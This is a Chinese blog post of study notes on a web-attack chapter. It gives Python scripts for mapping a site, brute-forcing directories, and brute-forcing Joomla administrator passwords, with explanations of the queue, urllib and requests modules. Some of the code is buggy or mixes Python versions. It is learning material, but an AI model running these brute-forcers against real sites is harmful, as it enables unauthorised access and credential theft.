第5章:Web攻击

发布于 2022-03-01  382 次阅读


写在前面

  这一章书中介绍了关于Web攻击中会用到的爬虫、目录爆破、凭证爆破这三个方面,书中的Python脚本仅展示此类脚本应该怎么去写,提供此类工具的编写思路。根据这些思路和自己学习的一些编程方法、技巧可以针对这些脚本进行更改,变得更符合自己个人的使用习惯。
  在学习这一章之前,我自己已经在编写一系列的工具脚本、EXP等等,所以此章的脚本我最终呈现出来的是我自己去魔改的,带有大量的个人编程习惯,不过具体使用效果怎么样,我就不清楚了。

web_app_mapper.py

代码

import queue
import threading
import os
import requests

thread = 10

target = "http://127.0.0.1/"
directory = "E:\WWW"
filters = [".jpg",".git",".png",".css"]

os.chdir(directory)

web_path = queue.Queue()

for r,d,f in os.walk("."):
    for files in f:
        remote_path = "%s/%s" % (r,files)
        if remote_path.startswith("."):
            remote_path = remote_path[1:]
        if os.path.splitext(files)[1] not in filters:
            web_path.put(remote_path)

def test_remote():
    while not web_path.empty():
        path = web_path.get().replace("\\","/")
        url = "%s%s" % (target,path)

        request = requests.get(url)

        print("[%d] => %s" % (request.status_code,path))

for i in range(thread):
    print("Spawning thread: %d" % i)
    t = threading.Thread(target=test_remote())
    t.start()

关于这个脚本

  这个脚本我舍弃了去使用urlliburllib2urllib3这几个库,具体为什么呢?大前提我是使用的Python3.x,所以更多的使用的requests库。当然,这并不是舍弃这几个库的理由。requests库使用了urllib3库,但相对来说requests库的API更加友好,很多人也都说只是用Python3.x的话对于urllib只需要知道就行,没必要去了解和使用。不过学习嘛,还是不会的就要了解一下,这部分我会摘选一部分写在下面,后续如果东西比较多,详细的我会另开一篇内容。
  这个脚本能做什么?遍历你本地安装的Web程序的文件,按照这个目录结构去访问远程服务器上的对应的文件,并且尝试获取对方网站的文件。这个脚本价值一言难尽,不明所以,有点无语

content_bruter.py

代码

import requests
import threading
import queue
import urllib

thread = 10
target_url = "http://127.0.0.1"
wordlist_file = "D:\Program Files (x86)\DirBuster\directory-list-2.3-small.txt"
resume = None
headers = {
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36"
}

def build_wordlist(wordlist_file):
    found_resume = False
    words = queue.Queue()
    with open(wordlist_file,"r",encoding="utf-8") as f:
        lines = f.readlines()
        for line in lines:
            if "#" in line:
                continue
            if resume is not None:
                line = line.strip("\n")
                if found_resume:
                    words.put(line)
                else:
                    if line == resume:
                        found_resume =True
                        print("Resuming wordlist from:%s" % resume)
            else:
                words.put(line)
    return words

def dir_bruter(word_queue,extensions=None):
    while not word_queue.empty():
        attempt = word_queue.get().strip("\n")
        attempt_list = []

        if '.' not in attempt:
            attempt_list.append("/%s/" % attempt)
        else:
            attempt_list.append("/%s" % attempt)

        if extensions:
            for extension in extensions:
                attempt_list.append("/%s%s" % (attempt,extension))

        for bruter in attempt_list:
            url = "%s%s" % (target_url,bruter)
            try:
                request = requests.get(url,headers=headers)
                if len(request.text) and request.status_code != 404:
                    print("[%d] => %s" % (request.status_code,url))
                elif request.status_code != 404:
                    print("!!! %d => %s" % (request.status_code,url))
            except Exception as e:
                pass

word_queue = build_wordlist(wordlist_file)
extensions = [".php",".bak",".orig",".inc"]

for i in range(thread):
    t = threading.Thread(target=dir_bruter,args=(word_queue,extensions,))
    t.start()

关于这个脚本

  这个脚本就大量的我个人编写习惯,整体架构还是原本书中的思路,但是其中一些细节内容还是以我自己的习惯改编了。例如文件内容读取、requests库和urllib的取舍、urllib.quote()函数的舍弃等等,除此之外对文件是否存在的判断逻辑进行了更改。这个脚本还有很多的地方可以优化,这就是一个很完整的不带有UI界面的目录爆破工具,后续还可以对一些参数的自定义,优化选项、添加交互等等。这部分感兴趣的可以自己试着去做一做。
  话说回来,在学的过程中呢,看了一个py_encoder.py的加密脚本,基本上体量还是很小的,也就是最基本的一些功能,所以说编写这些小体量的东西并不会很难,自给自足完全可以;当然,如果是大体量的工具还是相当有难度的。

Joomla_kill.py

代码

import urllib2
import urllib
import http.cookiejar
import threading
import queue
import html.parser

# general settings
user_thread = 10
username = "gege"
wordlist_file = "./pass.txt"
resume = None

# target specific settings
target_url = "http://172.30.5.177/Joomla/administrator/index.php"
target_post = "http://172.30.5.177/Joomla/administrator/index.php"

username_field = "username"
password_field = "passwd"

success_check = "Administration - Control Panel"

class BruteParser(html.parser.HTMLParser):

    def __init__(self):
        html.parser.HTMLParser.__init__(self)
        self.tag_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == "input":
            tag_name = None
            tag_value = None
            for name, value in attrs:
                if name == "name":
                    tag_name = value
                if name == "value":
                    tag_value = value

            if tag_name is not None:
                self.tag_results[tag_name] = value

class Bruter(object):
    def __init__(self, username, words):

        self.username = username
        self.password_q = words
        self.found = False

        print("Finished setting up for: %s" % username)

    def run_bruteforce(self):

        for i in range(user_thread):
            t = threading.Thread(target=self.web_bruter)
            t.start()

    def web_bruter(self):

        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip()
            jar = http.cookiejar.FileCookieJar("cookies")
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            response = opener.open(target_url)

            page = response.read()

            print("Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()))

            # parse out the hidden fields
            parser = BruteParser()
            parser.feed(page)

            post_tags = parser.tag_results

            # add our username and password fields
            post_tags[username_field] = self.username
            post_tags[password_field] = brute

            login_data = urllib.urlencode(post_tags)
            login_response = opener.open(target_post, login_data)

            login_result = login_response.read()

            if success_check in login_result:
                self.found = True

                print("[*] Bruteforce successful.")
                print("[*] Username: %s" % username)
                print("[*] Password: %s" % brute)
                print("[*] Waiting for other threads to exit...")

def build_wordlist(wordlist_file):
    # read in the word list
    fd = open(wordlist_file, "rb")
    raw_words = fd.readlines()
    fd.close()

    found_resume = False
    words = queue.Queue()

    for word in raw_words:

        word = word.rstrip()

        if resume is not None:

            if found_resume:
                words.put(word)
            else:
                if word == resume:
                    found_resume = True
                    print
                    "Resuming wordlist from: %s" % resume

        else:
            words.put(word)

    return words

words = build_wordlist(wordlist_file)
bruter_obj = Bruter(username, words)
bruter_obj.run_bruteforce()

关于这个脚本

  这个脚本比较……怎么说呢……Python3中,我暂时无法安装urllib2库导致这个脚本没办法运行起来,不过这个脚本的知识点还是挺多的,比较值得研究一下。

queue库

queue库介绍

  Queue库是Python标准库中的线程安全的队列(FIFO)实现,提供了一个适用于多线程编程的先进先出的数据结构,即队列,它可用于在生产者和消费者之间线程安全地传递消息或其它数据,因此多个线程可以共享一个Queue实例。
  Queue库实现了一个基本的先进先出(FIFO)容器,可以直接import引用,在python2.x中,库名为Queue。python3.x版本库名为queue

为什么要有queue

  多个线程进行数据交换的时候,不能够保证数据的安全性和一致性,所以当多个线程需要进行数据交换的时候,队列就出现了,队列可以完美解决线程间的数据交换,保证线程间数据的安全性和一致性。

三种队列及构造函数

  • Python queue模块的FIFO队列先进先出。class queue.Queue(maxsize)

  • LIFO类似于堆,即先进后出。class queue.LifoQueue(maxsize)

  • 还有一种是优先级队列级别越低越先出来。class queue.PriorityQueue(maxsize)

Queue 模块中的常用方法:

方法名 含义
Queue.Queue(maxsize=0) FIFO,若是maxsize小于1就表示队列长度无限
Queue.qsize() 返回队列的大小
Queue.empty() 若是队列为空,返回True,反之False
Queue.full() 若是队列满了,返回True,反之False
Queue.get([block, [timeout]]) 读队列,timeout为等待时间
Queue.put(item, [block, [timeout]]) 写队列,timeout为等待时间
Queue.queue.clear() 清空队列

urllib和requests

  在使用Python爬虫时,需要模拟发起网络请求,主要用到的库有requests库和python内置的urllib库,一般建议使用requests,它是对urllib的再次封装。urllib库为标准库,但是现在来说urllib2urllib3这些三方库用的会更多一些,这些三方库相对原来的标准库进行了一定的更改让API的使用变得相对简便一些,但是最终效果来看还是比不上requests库的使用。

urllib库

  urllib库的response对象是先创建http,request对象,装载到reques.urlopen里完成http请求。返回的是http,response对象,实际上是html属性。使用.read().decode()解码后转化成了str字符串类型,decode解码后中文字符能够显示出来。

urllib.quote(string[, safe="()"])

  屏蔽特殊的字符、比如如果url里面的空格,url里面是不允许出现空格的,具体使用效果看来,它会把特殊字符进行编码,并且有些不应该编码的字符也会进行编码,这么看来估计还是需要其他的设置。
  后续翻看了手册,手册中详细介绍了这一点。默认情况下,此功能用于引用URL的路径部分。可选的安全参数指定不应引用的附加字符——其默认值为/。字母,数字和字符_.-从未被引用。

不同版本中的用法

  在Python2.x中的用法是urllib.quote(string[, safe="()"]),Python3.x中是urllib.parse.quote(string[, safe="()"])

# python3.x
import urllib.parse

print(urllib.parse.quote("http://127.0.0.1",safe="(:/)"))
print(urllib.parse.quote("http://127.0.0.1"))

# 输出
# http://127.0.0.1
# http%3A//127.0.0.1

urllib.quote_plus(string[, safe])

  和urllib.quote()相似,但也用加号替换空格,这是在构建查询字符串进入URL时引用HTML表单值所需的。除非包含在保险箱中,否则原始字符串中的加号会被转义。它也没有安全的默认值/

urllib.unquote(string)

  用%xx它们的单字符替换换码。也就是将quote()的结果恢复。

urllib.unquote_plus(string)

  类似unquote(),但也用空格替换加号,以取消引用HTML表单值。

requests库

  requests库调用是requests.get方法传入url和参数,返回的对象是Response对象,打印出来是显示响应状态码。通过.text 方法可以返回是unicode型的数据,一般是在网页的header中定义的编码形式,而content返回的是bytes,二级制型的数据,还有.json方法也可以返回json字符串。如果想要提取文本就用text,但是如果你想要提取图片、文件等二进制文件,就要用content,当然decode之后,中文字符也会正常显示。

requests的优势

  Python爬虫时,更建议用requests库。因为requestsurllib更为便捷,requests可以直接构造get,post请求并发起,而urllib.request只能先构造get,post请求,再发起。

其他

  综上的话,这也是我选择将urllib库相关内容舍弃,重新使用requests库进行编写的理由,除此之外,urllib库及其三方库都需要一些Python2.x to Python3.x的操作,甚至urllib库的功能有的时候无法满足需求,需要更换到它的三方库,相对来说更加的麻烦。
  对于python2.x,urllib和urllib2的主要区别:urllib2可以接受Request对象为URL设置头信息,修改用户代理,设置cookie等,urllib只能接受一个普通的URL。urllib提供一些比较原始基础的方法而urllib2没有这些,比如 urlencode。
  对于python3.x:这里urllib成了一个包,此包分成了几个模块

  • urllib.request 用于打开和读取URL,
  • urllib.error 用于处理前面request引起的异常,
  • urllib.parse 用于解析URL,
  • urllib.robotparser 用于解析robots.txt文件

  python2.x 中的urllib.urlopen()被废弃,urllib2.urlopen()相当于python3.x中的urllib.request.urlopen()
  当然个中取舍还是根据个人习惯、需求等等来,不能说一味的习惯而不管不顾需求,或者相反。

其他知识点

os.chdir() 方法

  os.chdir()方法用于改变当前工作目录到指定的路径。

语法格式

os.chdir(path)
# path -- 要切换到的新路径。
# 如果允许访问返回True,否则返回False。

os.walk() 方法

  os.walk()方法用于通过在目录树中游走输出在目录中的文件名,向上或者向下。os.walk()方法是一个简单易用的文件、目录遍历器,可以帮助我们高效的处理文件、目录方面的事情。

语法格式

os.walk(top[, topdown=True[, onerror=None[, followlinks=False]]])

参数

  • top -- 是你所要遍历的目录的地址, 返回的是一个三元组(root,dirs,files)。
    • root 所指的是当前正在遍历的这个文件夹的本身的地址
    • dirs 是一个 list ,内容是该文件夹中所有的目录的名字(不包括子目录)
    • files 同样是 list , 内容是该文件夹中所有的文件(不包括子目录)
  • topdown --可选,为 True,则优先遍历 top 目录,否则优先遍历 top 的子目录(默认为开启)。如果 topdown 参数为 True,walk 会遍历top文件夹,与top 文件夹中每一个子目录。
  • onerror -- 可选,需要一个 callable 对象,当 walk 需要异常时,会调用。
  • followlinks -- 可选,如果为 True,则会遍历目录下的快捷方式(linux 下是软连接 symbolic link )实际所指的目录(默认关闭),如果为 False,则优先遍历 top 的子目录。

写在最后

  这篇内容相对还是比较多的,urllibrequestqueueHTTPCookieProcessorCookielibCookie等内容。写到这里篇幅已经较长,所以关于第三个脚本的内容就没有编写进来,关于HTTPCookieProcessorCookielibCookie这三个点的内容我会编写在Python中Cookie的处理——Cookielib和Cookie这篇文章中,感兴趣的可以了解一下。
  这一章中主要还是对Web攻击中常用到的爆破工具进行讲解,内容比较详细,但是相对于一个使用Python3的同学来说还是存在一定的问题,最为典型的就是Python2 to Python3的问题。这个还是需要注意一下的。